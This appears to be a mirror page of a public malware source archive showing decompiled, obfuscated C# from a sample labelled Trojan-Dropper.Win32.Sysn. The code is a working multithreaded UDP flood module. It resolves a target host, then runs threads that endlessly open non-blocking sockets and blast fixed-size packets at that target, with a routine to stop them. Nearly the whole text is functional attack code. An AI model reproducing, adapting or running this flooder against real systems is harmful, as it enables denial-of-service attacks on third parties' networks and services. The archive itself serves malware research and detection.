mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-26 21:35:27 +00:00
127 lines
3.6 KiB
C#
127 lines
3.6 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
|||
|
|
|||
|
using \u000F;
|
|||
|
using System.Net;
|
|||
|
using System.Net.Sockets;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u000F
|
|||
|
{
|
|||
|
internal sealed class \u0007
|
|||
|
{
|
|||
|
private static ThreadStart[] \u0001;
|
|||
|
private static Thread[] \u0001;
|
|||
|
public static string \u0001;
|
|||
|
private static IPEndPoint \u0001;
|
|||
|
public static ushort \u0001;
|
|||
|
public static int \u0001;
|
|||
|
private static \u0007.\u0001[] \u0001;
|
|||
|
public static int \u0002;
|
|||
|
public static int \u0003;
|
|||
|
public static bool \u0001 = false;
|
|||
|
|
|||
|
public static void \u000F()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0007.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0007.\u0001).AddressList[0], (int) \u0007.\u0001);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0007.\u0001 = new IPEndPoint(IPAddress.Parse(\u0007.\u0001), (int) \u0007.\u0001);
|
|||
|
}
|
|||
|
\u0007.\u0001 = new Thread[\u0007.\u0002];
|
|||
|
\u0007.\u0001 = new ThreadStart[\u0007.\u0002];
|
|||
|
\u0007.\u0001 = new \u0007.\u0001[\u0007.\u0002];
|
|||
|
for (int index = 0; index < \u0007.\u0002; ++index)
|
|||
|
{
|
|||
|
\u0007.\u0001[index] = new \u0007.\u0001(\u0007.\u0001, \u0007.\u0003, \u0007.\u0001);
|
|||
|
\u0007.\u0001[index] = new ThreadStart(\u0007.\u0001[index].\u000F);
|
|||
|
\u0007.\u0001[index] = new Thread(\u0007.\u0001[index]);
|
|||
|
\u0007.\u0001[index].Start();
|
|||
|
}
|
|||
|
\u0007.\u0001 = true;
|
|||
|
}
|
|||
|
|
|||
|
public static void \u0010()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u0007.\u0002; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0007.\u0001[index].Abort();
|
|||
|
\u0007.\u0001[index].Join();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0007.\u0001 = false;
|
|||
|
}
|
|||
|
}
|
|||
|
\u0007.\u0001 = false;
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0001
|
|||
|
{
|
|||
|
private IPEndPoint \u0001;
|
|||
|
private int \u0001;
|
|||
|
private Socket[] \u0001;
|
|||
|
private int \u0002;
|
|||
|
|
|||
|
public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2)
|
|||
|
{
|
|||
|
this.\u0001 = obj0;
|
|||
|
this.\u0002 = obj1;
|
|||
|
this.\u0001 = obj2;
|
|||
|
}
|
|||
|
|
|||
|
public void \u000F()
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
byte[] buffer = new byte[this.\u0001];
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u0001 = new Socket[this.\u0002];
|
|||
|
for (int index = 0; index < this.\u0002; ++index)
|
|||
|
{
|
|||
|
this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
|
|||
|
this.\u0001[index].Blocking = false;
|
|||
|
this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001);
|
|||
|
}
|
|||
|
Thread.Sleep(100);
|
|||
|
for (int index = 0; index < this.\u0002; ++index)
|
|||
|
{
|
|||
|
if (this.\u0001[index].Connected)
|
|||
|
this.\u0001[index].Disconnect(false);
|
|||
|
this.\u0001[index].Close();
|
|||
|
this.\u0001[index] = (Socket) null;
|
|||
|
}
|
|||
|
this.\u0001 = (Socket[]) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
for (int index = 0; index < this.\u0002; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (this.\u0001[index].Connected)
|
|||
|
this.\u0001[index].Disconnect(false);
|
|||
|
this.\u0001[index].Close();
|
|||
|
this.\u0001[index] = (Socket) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|